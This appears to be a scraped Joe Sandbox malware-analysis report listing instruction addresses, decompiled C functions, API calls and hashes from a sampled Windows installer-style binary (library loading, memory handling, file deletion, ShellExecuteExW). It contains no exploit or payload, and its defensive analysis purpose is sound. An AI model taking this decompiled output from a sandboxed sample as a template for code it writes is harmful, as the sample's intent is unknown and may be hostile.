0x00406e58
0x00406e5b
0x00406e5f
0x00000000
0x00000000
0x00406eaf
0x00406eb3
0x00406eba
0x00406ebd
0x00406ec0
0x00406eca
0x0040715e
0x0040715e
0x00000000
0x0040715e
0x0040715e
0x00406eb5
0x00000000
0x00000000
0x00406ed6
0x00406eda
0x00406ee1
0x00406ee4
0x00406ee7
0x00406edc
0x00406edc
0x00406edc
0x00406eea
0x00406eed
0x00406ef0
0x00406ef0
0x00406ef3
0x00406ef6
0x00406ef9
0x00406ef9
0x00406efc
0x00406f03
0x00406f08
0x00000000
0x00000000
0x00406f96
0x00406f96
0x00406f9a
0x00407338
0x00000000
0x00407338
0x00406fa0
0x00406fa3
0x00406fa6
0x00406faa
0x00406fad
0x00406fb3
0x00406fb5
0x00406fb5
0x00406fb5
0x00406fb8
0x00406fbb
0x00000000
0x00000000
0x00406b8b
0x00406b8b
0x00406b8f
0x004072fc
0x00000000
0x004072fc
0x00406b95
0x00406b98
0x00406b9b
0x00406b9f
0x00406ba2
0x00406ba8
0x00406baa
0x00406baa
0x00406baa
0x00406bad
0x00406bb0
0x00406bb0
0x00406bb3
0x00406bb6
0x00000000
0x00000000
0x00406bbc
0x00406bc2
0x00000000
0x00000000
0x00406bc8
0x00406bc8
0x00406bcc
0x00406bcf
0x00406bd2
0x00406bd5
0x00406bd8
0x00406bd9
0x00406bdc
0x00406bde
0x00406be4
0x00406be7
0x00406bea
0x00406bed
0x00406bf0
0x00406bf3
0x00406bf6
0x00406c12
0x00406c15
0x00406c18
0x00406c1b
0x00406c22
0x00406c26
0x00406c28
0x00406c2c
0x00406bf8
0x00406bf8
0x00406bfc
0x00406c04
0x00406c09
0x00406c0b
0x00406c0d
0x00406c0d
0x00406c2f
0x00406c36
0x00406c39
0x00000000
0x00406c3f
0x00000000
0x00406c3f
0x00000000
0x00406c44
0x00406c44
0x00406c48
0x00407308
0x00000000
0x00407308
0x00406c4e
0x00406c51
0x00406c54
0x00406c58
0x00406c5b
0x00406c61
0x00406c63
0x00406c63
0x00406c63
0x00406c66
0x00406c69
0x00406c69
0x00406c69
0x00406c6f
0x00000000
0x00000000
0x00406c71
0x00406c74
0x00406c77
0x00406c7a
0x00406c7d
0x00406c80
0x00406c83
0x00406c86
0x00406c89
0x00406c8c
0x00406c8f
0x00406ca7
0x00406caa
0x00406cad
0x00406cb0
0x00406cb0
0x00406cb3
0x00406cb7
0x00406cb9
0x00406c91
0x00406c91
0x00406c99
0x00406c9e
0x00406ca0
0x00406ca2
0x00406ca2
0x00406cbc
0x00406cc3
0x00406cc6
0x00000000
0x00406cc8
0x00000000
0x00406cc8
0x00406cc6
0x00406ccd
0x00406ccd
0x00406ccd
0x00406ccd
0x00000000
0x00000000
0x00406d08
0x00406d08
0x00406d0c
0x00407314
0x00000000
0x00407314
0x00406d12
0x00406d15
0x00406d18
0x00406d1c
0x00406d1f
0x00406d25
0x00406d27
0x00406d27
0x00406d27
0x00406d2a
0x00406d2d
0x00406d2d
0x00406d33
0x00406cd1
0x00406cd1
0x00406cd4
0x00000000
0x00406cd4
0x00406d35
0x00406d35
0x00406d38
0x00406d3b
0x00406d3e
0x00406d41
0x00406d44
0x00406d47
0x00406d4a
0x00406d4d
0x00406d50
0x00406d53
0x00406d6b
0x00406d6e
0x00406d71
0x00406d74
0x00406d74
0x00406d77
0x00406d7b
0x00406d7d
0x00406d55
0x00406d55
0x00406d5d
0x00406d62
0x00406d64
0x00406d66
0x00406d66
0x00406d80
0x00406d87
0x00406d8a
0x00000000
0x00406d8c
0x00000000
0x00406d8c
0x00000000
0x00407019
0x00407019
0x0040701d
0x00407344
0x00000000
0x00407344
0x00407023
0x00407026
0x00407029
0x0040702d
0x00407030
0x00407036
0x00407038
0x00407038
0x00407038
0x0040703b
0x00000000
0x00000000
0x00406de9
0x00406de9
0x00406dec
0x0040715e
0x0040715e
0x00000000
0x0040715e
0x00000000
0x00407128
0x0040712c
0x0040714e
0x00407151
0x0040715b
0x0040715e
0x0040715e
0x00000000
0x0040715e
0x0040715e
0x0040712e
0x00407131
0x00407135
0x00407138
0x00407138
0x0040713b
0x00000000
0x00000000
0x004071e5
0x004071e9
0x00407207
0x00407207
0x00407207
0x0040720e
0x00407215
0x0040721c
0x0040721c
0x00000000
0x0040721c
0x004071eb
0x004071ee
0x004071f1
0x004071f4
0x004071fb
0x0040713f
0x0040713f
0x00407142
0x00000000
0x00000000
0x004072d6
0x004072d9
0x004071da
0x00000000
0x00000000
0x00406f10
0x00406f12
0x00406f19
0x00406f1a
0x00406f1c
0x00406f1f
0x00000000
0x00000000
0x00406f27
0x00406f2a
0x00406f2d
0x00406f2f
0x00406f31
0x00406f31
0x00406f32
0x00406f35
0x00406f3c
0x00406f3f
0x00406f4d
0x00000000
0x00000000
0x00407223
0x00407223
0x00407226
0x0040722d
0x00000000
0x00000000
0x00407232
0x00407232
0x00407236
0x0040736e
0x00000000
0x0040736e
0x0040723c
0x0040723f
0x00407242
0x00407246
0x00407249
0x0040724f
0x00407251
0x00407251
0x00407251
0x00407254
0x00407257
0x00407257
0x00407257
0x00407257
0x0040725a
0x0040725a
0x0040725e
0x004072be
0x004072c1
0x004072c6
0x004072c7
0x004072c9
0x004072cb
0x004072ce
0x004071da
0x004071da
0x00000000
0x004071e0
0x004071da
0x00407260
0x00407266
0x00407269
0x0040726c
0x0040726f
0x00407272
0x00407275
0x00407278
0x0040727b
0x0040727e
0x00407281
0x0040729a
0x0040729d
0x004072a0
0x004072a3
0x004072a7
0x004072a9
0x004072a9
0x004072aa
0x004072ad
0x00407283
0x00407283
0x0040728b
0x00407290
0x00407292
0x00407295
0x00407295
0x004072b0
0x004072b7
0x00000000
0x004072b9
0x00000000
0x004072b9
0x00000000
0x00406f55
0x00406f58
0x00406f8e
0x004070be
0x004070be
0x004070be
0x004070be
0x004070c1
0x004070c1
0x004070c4
0x004070c6
0x00407350
0x00000000
0x00407350
0x004070cc
0x004070cf
0x00000000
0x00000000
0x004070d5
0x004070d9
0x004070dc
0x004070dc
0x004070dc
0x00000000
0x004070dc
0x00406f5a
0x00406f5c
0x00406f5e
0x00406f60
0x00406f63
0x00406f64
0x00406f66
0x00406f68
0x00406f6b
0x00406f6e
0x00406f84
0x00406f89
0x00406fc1
0x00406fc1
0x00406fc5
0x00406ff1
0x00406ff3
0x00406ffa
0x00406ffd
0x00407000
0x00407000
0x00407005
0x00407005
0x00407007
0x0040700a
0x00407011
0x00407014
0x00407041
0x00407041
0x00407044
0x00407047
0x004070bb
0x004070bb
0x004070bb
0x00000000
0x004070bb
0x00407049
0x0040704f
0x00407052
0x00407055
0x00407058
0x0040705b
0x0040705e
0x00407061
0x00407064
0x00407067
0x0040706a
0x00407083
0x00407085
0x00407088
0x00407089
0x0040708c
0x0040708e
0x00407091
0x00407093
0x00407095
0x00407098
0x0040709a
0x0040709d
0x004070a1
0x004070a3
0x004070a3
0x004070a4
0x004070a7
0x004070aa
0x0040706c
0x0040706c
0x00407074
0x00407079
0x0040707b
0x0040707e
0x0040707e
0x004070ad
0x004070b4
0x0040703e
0x0040703e
0x0040703e
0x0040703e
0x00000000
0x004070b6
0x00000000
0x004070b6
0x004070b4
0x00406fc7
0x00406fca
0x00406fcc
0x00406fcf
0x00406fd2
0x00406fd5
0x00406fd7
0x00406fda
0x00406fdd
0x00406fdd
0x00406fe0
0x00406fe0
0x00406fe3
0x00406fea
0x00406fbe
0x00406fbe
0x00406fbe
0x00406fbe
0x00000000
0x00406fec
0x00000000
0x00406fec
0x00406fea
0x00406f70
0x00406f73
0x00406f75
0x00406f78
0x00000000
0x00000000
0x00406cd7
0x00406cd7
0x00406cdb
0x00407320
0x00000000
0x00407320
0x00406ce1
0x00406ce4
0x00406ce7
0x00406cea
0x00406ced
0x00406cf0
0x00406cf3
0x00406cf5
0x00406cf8
0x00406cfb
0x00406cfe
0x00406d00
0x00406d00
0x00406d00
0x00000000
0x00000000
0x00406e62
0x00406e62
0x00406e66
0x0040732c
0x00000000
0x0040732c
0x00406e6c
0x00406e6f
0x00406e72
0x00406e75
0x00406e77
0x00406e77
0x00406e77
0x00406e7a
0x00406e7d
0x00406e80
0x00406e83
0x00406e86
0x00406e89
0x00406e8a
0x00406e8c
0x00406e8c
0x00406e8c
0x00406e8f
0x00406e92
0x00406e95
0x00406e98
0x00406e98
0x00406e98
0x00406e9b
0x00406e9d
0x00406e9d
0x00000000
0x00000000
0x004070df
0x004070df
0x004070df
0x004070e3
0x00000000
0x00000000
0x004070e9
0x004070ec
0x004070ef
0x004070f2
0x004070f4
0x004070f4
0x004070f4
0x004070f7
0x004070fa
0x004070fd
0x00407100
0x00407103
0x00407106
0x00407107
0x00407109
0x00407109
0x00407109
0x0040710c
0x0040710f
0x00407112
0x00407115
0x00407118
0x0040711c
0x0040711e
0x00407121
0x00000000
0x00407123
0x00406ea0
0x00406ea0
0x00000000
0x00406ea0
0x00407121
0x00407356
0x00000000
0x00000000
0x00406985
0x0040738d
0x0040738d
0x00000000
0x0040738d
0x004071da
0x00407161
0x0040715e

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction ID: 979076adb26e5f1e3e7a9458f232081f51f9a0722543042d1d726f4d31452a21
Opcode Fuzzy Hash: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction Fuzzy Hash: 50714871E04228DBEF28CF98C8447ADBBB1FF45305F15806AD856BB281C7386A46DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00402032 Relevance: 4.6, APIs: 3, Instructions: 73
libraryCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E00402032(void* __ebx, void* __eflags) {
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t31;
				void* _t32;
				void* _t34;
				WCHAR* _t37;
				intOrPtr* _t38;
				void* _t39;

				_t32 = __ebx;
				asm("sbb eax, 0x470318");
				 *(_t39 - 4) = 1;
				if(__eflags < 0) {
					_push(0xffffffe7);
					L15:
					E00401423();
					L16:
					 *0x4702e8 =  *0x4702e8 +  *(_t39 - 4);
					return 0;
				}
				_t37 = E00402C41(0xfffffff0);
				 *((intOrPtr*)(_t39 - 0x3c)) = E00402C41(1);
				if( *((intOrPtr*)(_t39 - 0x18)) == __ebx) {
					L3:
					_t23 = LoadLibraryExW(_t37, _t32, 8); // executed
					 *(_t39 + 8) = _t23;
					if(_t23 == _t32) {
						_push(0xfffffff6);
						goto L15;
					}
					L4:
					_t38 = E00406831( *(_t39 + 8),  *((intOrPtr*)(_t39 - 0x3c)));
					if(_t38 == _t32) {
						E00405450(0xfffffff7,  *((intOrPtr*)(_t39 - 0x3c)));
					} else {
						 *(_t39 - 4) = _t32;
						if( *((intOrPtr*)(_t39 - 0x20)) == _t32) {
							 *_t38( *((intOrPtr*)(_t39 - 8)), 0x2000, _t34, 0x41e638, 0x40a000);
						} else {
							E00401423( *((intOrPtr*)(_t39 - 0x20)));
							if( *_t38() != 0) {
								 *(_t39 - 4) = 1;
							}
						}
					}
					if( *((intOrPtr*)(_t39 - 0x1c)) == _t32 && E00403A78( *(_t39 + 8)) != 0) {
						FreeLibrary( *(_t39 + 8)); // executed
					}
					goto L16;
				}
				_t31 = GetModuleHandleW(_t37); // executed
				 *(_t39 + 8) = _t31;
				if(_t31 != __ebx) {
					goto L4;
				}
				goto L3;
			}

0x00402032
0x00402032
0x00402037
0x0040203e
0x004020fd
0x0040224b
0x0040224b
0x00402ac5
0x00402ac8
0x00402ad4
0x00402ad4
0x0040204d
0x00402057
0x0040205a
0x0040206a
0x0040206e
0x00402076
0x00402079
0x004020f6
0x00000000
0x004020f6
0x0040207b
0x00402086
0x0040208a
0x004020ca
0x0040208c
0x0040208f
0x00402092
0x004020be
0x00402094
0x00402097
0x004020a0
0x004020a2
0x004020a2
0x004020a0
0x00402092
0x004020d2
0x004020eb
0x004020eb
0x00000000
0x004020d2
0x0040205d
0x00402065
0x00402068
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 0040205D

Part of subcall function 00405450: lstrlenW.KERNEL32(0043E708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,0043E708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(0043E708,00402F08), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(0043E708,0043E708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

LoadLibraryExW.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 0040206E
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 004020EB

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: a40cda478381b174380c6438290ed07428a8f26064c7146cbc43d69b11d09b66
Instruction ID: 17bb0c2c40c4ecca23a016955451882c5d92c2645284391b8b2ee9a6a7fda870
Opcode Fuzzy Hash: a40cda478381b174380c6438290ed07428a8f26064c7146cbc43d69b11d09b66
Instruction Fuzzy Hash: D521B031D00215BACF20AFA5CE4DA9E7A70BF04358F60813BF515B11E0DBBD8981DA6E

Uniqueness

Uniqueness Score: -1.00%

Function 00401B77 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72
memoryCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00401B77(void* __ebx) {
				intOrPtr _t8;
				void* _t9;
				void _t12;
				void* _t14;
				void* _t22;
				void* _t25;
				void* _t30;
				void* _t33;
				void* _t34;
				char* _t36;
				void* _t37;

				_t28 = __ebx;
				_t8 =  *((intOrPtr*)(_t37 - 0x20));
				_t30 =  *0x41e638; // 0x0
				if(_t8 == __ebx) {
					if( *((intOrPtr*)(_t37 - 0x24)) == __ebx) {
						_t9 = GlobalAlloc(0x40, 0x4004); // executed
						_t34 = _t9;
						_t5 = _t34 + 4; // 0x4
						E0040640A(__ebx, _t30, _t34, _t5,  *((intOrPtr*)(_t37 - 0x28)));
						_t12 =  *0x41e638; // 0x0
						 *_t34 = _t12;
						 *0x41e638 = _t34;
					} else {
						if(_t30 == __ebx) {
							 *((intOrPtr*)(_t37 - 4)) = 1;
						} else {
							_t3 = _t30 + 4; // 0x4
							E004063E8(_t33, _t3);
							_push(_t30);
							 *0x41e638 =  *_t30; // executed
							GlobalFree(); // executed
						}
					}
					goto L15;
				} else {
					while(1) {
						_t8 = _t8 - 1;
						if(_t30 == _t28) {
							break;
						}
						_t30 =  *_t30;
						if(_t8 != _t28) {
							continue;
						} else {
							if(_t30 == _t28) {
								break;
							} else {
								_t32 = _t30 + 4;
								_t36 = L"ExecToStack";
								E004063E8(_t36, _t30 + 4);
								_t22 =  *0x41e638; // 0x0
								E004063E8(_t32, _t22 + 4);
								_t25 =  *0x41e638; // 0x0
								_push(_t36);
								_push(_t25 + 4);
								E004063E8();
								L15:
								 *0x4702e8 =  *0x4702e8 +  *((intOrPtr*)(_t37 - 4));
								_t14 = 0;
							}
						}
						goto L17;
					}
					_push(0x200010);
					_push(E0040640A(_t28, _t30, _t33, _t28, 0xffffffe8));
					E00405A4E();
					_t14 = 0x7fffffff;
				}
				L17:
				return _t14;
			}

0x00401b77
0x00401b77
0x00401b7a
0x00401b82
0x00401bcb
0x00401bf9
0x00401c02
0x00401c04
0x00401c08
0x00401c0d
0x00401c12
0x00401c14
0x00401bcd
0x00401bcf
0x0040288b
0x00401bd5
0x00401bd5
0x00401bda
0x00401be1
0x00401be2
0x00401be7
0x00401be7
0x00401bcf
0x00000000
0x00401b84
0x00401b84
0x00401b84
0x00401b87
0x00000000
0x00000000
0x00401b8d
0x00401b91
0x00000000
0x00401b93
0x00401b95
0x00000000
0x00401b9b
0x00401b9b
0x00401b9e
0x00401ba5
0x00401baa
0x00401bb4
0x00401bb9
0x00401bbe
0x00401bc2
0x004029e1
0x00402ac5
0x00402ac8
0x00402ace
0x00402ace
0x00401b95
0x00000000
0x00401b91
0x004022e4
0x004022f1
0x004022f2
0x004022f7
0x004022f7
0x00402ad0
0x00402ad4

APIs

GlobalFree.KERNELBASE ref: 00401BE7
GlobalAlloc.KERNELBASE(00000040,00004004), ref: 00401BF9

Strings

ExecToStack, xrefs: 00401B9E, 00401BA4, 00401BBE

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: Global$AllocFree
String ID: ExecToStack
API String ID: 3394109436-166031814
Opcode ID: 5789c19cf9602a48abb49991963c2d85817d7f240d7a359f3be5c16f92e619a3
Instruction ID: 2224cfe726421d4168c30344d3cbfba70e659b3895da8488867bc6a87a7a29a6
Opcode Fuzzy Hash: 5789c19cf9602a48abb49991963c2d85817d7f240d7a359f3be5c16f92e619a3
Instruction Fuzzy Hash: 5321EB72A00200ABDB10EF95CEC49DE73A4AB543187A4403BF506F32D1DB78E891CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 00402598 Relevance: 4.6, APIs: 3, Instructions: 69
stringCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00402598(int __ebx, void* __edx, intOrPtr* __esi) {
				signed int _t14;
				int _t17;
				int _t24;
				signed int _t29;
				intOrPtr* _t32;
				void* _t34;
				void* _t35;
				void* _t38;
				signed int _t40;

				_t32 = __esi;
				_t24 = __ebx;
				_t14 =  *(_t35 - 0x20);
				_t38 = __edx - 0x38;
				 *(_t35 - 0x4c) = _t14;
				_t27 = 0 | _t38 == 0x00000000;
				_t29 = _t38 == 0;
				if(_t14 == __ebx) {
					if(__edx != 0x38) {
						_t17 = lstrlenW(E00402C41(0x11)) + _t16;
					} else {
						E00402C41(0x21);
						WideCharToMultiByte(__ebx, __ebx, 0x4125d8, 0xffffffff, 0x40e5d8, 0x2000, __ebx, __ebx);
						_t17 = lstrlenA(0x40e5d8);
					}
				} else {
					E00402C1F(1);
					 *0x40e5d8 = __ax;
					 *((intOrPtr*)(__ebp - 0x3c)) = __edx;
				}
				 *(_t35 + 8) = _t17;
				if( *_t32 == _t24) {
					L13:
					 *((intOrPtr*)(_t35 - 4)) = 1;
				} else {
					_t34 = E00406348(_t27, _t32);
					if((_t29 |  *(_t35 - 0x4c)) != 0 ||  *((intOrPtr*)(_t35 - 0x1c)) == _t24 || E00405FBF(_t34, _t34) >= 0) {
						_t14 = E00405F90(_t34, 0x40e5d8,  *(_t35 + 8)); // executed
						_t40 = _t14;
						if(_t40 == 0) {
							goto L13;
						}
					} else {
						goto L13;
					}
				}
				 *0x4702e8 =  *0x4702e8 +  *((intOrPtr*)(_t35 - 4));
				return 0;
			}

0x00402598
0x00402598
0x00402598
0x0040259d
0x004025a0
0x004025a3
0x004025a8
0x004025aa
0x004025ca
0x00402608
0x004025cc
0x004025ce
0x004025e8
0x004025f3
0x004025f3
0x004025ac
0x004025ae
0x004025b3
0x004025c1
0x004025c4
0x0040260d
0x00402610
0x0040288b
0x0040288b
0x00402616
0x0040261f
0x00402621
0x00402640
0x004015b4
0x004015b6
0x00000000
0x004015bc
0x00000000
0x00000000
0x00000000
0x00402621
0x00402ac8
0x00402ad4

APIs

WideCharToMultiByte.KERNEL32(?,?,004125D8,000000FF,0040E5D8,00002000,?,?,00000021), ref: 004025E8
lstrlenA.KERNEL32(0040E5D8,?,?,004125D8,000000FF,0040E5D8,00002000,?,?,00000021), ref: 004025F3

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID:
API String ID: 3109718747-0
Opcode ID: 28396a338a8ef95373087da8c8dfe09d90bc6a648febf9c66dc912ffd45ec8c4
Instruction ID: 8a54b08748082a87d090de781de000be55bd47bcbf4860f745c9e519e4ad5c94
Opcode Fuzzy Hash: 28396a338a8ef95373087da8c8dfe09d90bc6a648febf9c66dc912ffd45ec8c4
Instruction Fuzzy Hash: 66110872A05201BADB146BF18E8DA9F7664AF44398F20483BF502F21D1DDFC89815B5D

Uniqueness

Uniqueness Score: -1.00%

Function 00405AB2 Relevance: 4.5, APIs: 3, Instructions: 28
fileCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E00405AB2(void* __eflags, WCHAR* _a4, signed int _a8) {
				int _t9;
				long _t13;
				WCHAR* _t14;

				_t14 = _a4;
				_t13 = E00405EB9(_t14);
				if(_t13 == 0xffffffff) {
					L8:
					return 0;
				}
				_push(_t14);
				if((_a8 & 0x00000001) == 0) {
					_t9 = DeleteFileW(); // executed
				} else {
					_t9 = RemoveDirectoryW(); // executed
				}
				if(_t9 == 0) {
					if((_a8 & 0x00000004) == 0) {
						SetFileAttributesW(_t14, _t13);
					}
					goto L8;
				} else {
					return 1;
				}
			}

0x00405ab3
0x00405abe
0x00405ac3
0x00405af3
0x00000000
0x00405af3
0x00405aca
0x00405acb
0x00405ad5
0x00405acd
0x00405acd
0x00405acd
0x00405add
0x00405ae9
0x00405aed
0x00405aed
0x00000000
0x00405adf
0x00000000
0x00405ae1

APIs

Part of subcall function 00405EB9: GetFileAttributesW.KERNELBASE(?,?,00405ABE,?,?,00000000,00405C94,?,?,?,?), ref: 00405EBE
Part of subcall function 00405EB9: SetFileAttributesW.KERNELBASE(?,00000000), ref: 00405ED2

RemoveDirectoryW.KERNELBASE(?,?,?,00000000,00405C94), ref: 00405ACD
DeleteFileW.KERNELBASE(?,?,?,00000000,00405C94), ref: 00405AD5
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405AED

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: File$Attributes$DeleteDirectoryRemove
String ID:
API String ID: 1655745494-0
Opcode ID: ee26814d0e89ccba1e58ecbc8b5a308cd0754c8ce938ef3c5221310ac7d33209
Instruction ID: 2750ea62591d09886f88fd119c0b0bc2019991ac89723f17ff6745a253c15028
Opcode Fuzzy Hash: ee26814d0e89ccba1e58ecbc8b5a308cd0754c8ce938ef3c5221310ac7d33209
Instruction Fuzzy Hash: 6CE0E531305A9056C7106B759A48B5B3AD8EF8E324F060B3BF592F11C0CBB845068FBD

Uniqueness

Uniqueness Score: -1.00%

Function 00401E7D Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00401E7D() {
				intOrPtr _t20;
				void* _t39;
				void* _t42;
				void* _t47;

				_t45 = E00402C41(_t39);
				_t20 = E00402C41(0x31);
				_t43 = E00402C41(0x22);
				E00402C41(0x15);
				E00401423(0xffffffec);
				 *(_t47 - 0x80) =  *(_t47 - 0x18);
				 *((intOrPtr*)(_t47 - 0x7c)) =  *((intOrPtr*)(_t47 - 8));
				 *((intOrPtr*)(_t47 - 0x68)) =  *((intOrPtr*)(_t47 - 0x1c));
				asm("sbb eax, eax");
				 *((intOrPtr*)(_t47 - 0x74)) = _t20;
				 *(_t47 - 0x78) =  ~( *_t19) & _t45;
				asm("sbb eax, eax");
				 *((intOrPtr*)(_t47 - 0x6c)) = 0x4c9000;
				 *(_t47 - 0x70) =  ~( *_t21) & _t43;
				if(E00405A14(_t47 - 0x84) == 0) {
					 *((intOrPtr*)(_t47 - 4)) = 1;
				} else {
					if(( *(_t47 - 0x80) & 0x00000040) != 0) {
						E00406873(_t42,  *((intOrPtr*)(_t47 - 0x4c)));
						_push( *((intOrPtr*)(_t47 - 0x4c)));
						FindCloseChangeNotification(); // executed
					}
				}
				 *0x4702e8 =  *0x4702e8 +  *((intOrPtr*)(_t47 - 4));
				return 0;
			}

0x00401e85
0x00401e87
0x00401e97
0x00401e99
0x00401ea0
0x00401ea8
0x00401eae
0x00401eb4
0x00401ebd
0x00401ebf
0x00401ec4
0x00401ecd
0x00401ecf
0x00401ed8
0x00401ee9
0x0040288b
0x00401eef
0x00401ef3
0x00401efc
0x00401f01
0x00401f4d
0x00401f4d
0x00401ef3
0x00402ac8
0x00402ad4

APIs

Part of subcall function 00405A14: ShellExecuteExW.SHELL32(?), ref: 00405A23

Part of subcall function 00406873: WaitForSingleObject.KERNEL32(?,00000064), ref: 00406884
Part of subcall function 00406873: GetExitCodeProcess.KERNEL32 ref: 004068A6

FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?), ref: 00401F4D

Strings

@, xrefs: 00401EEF

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
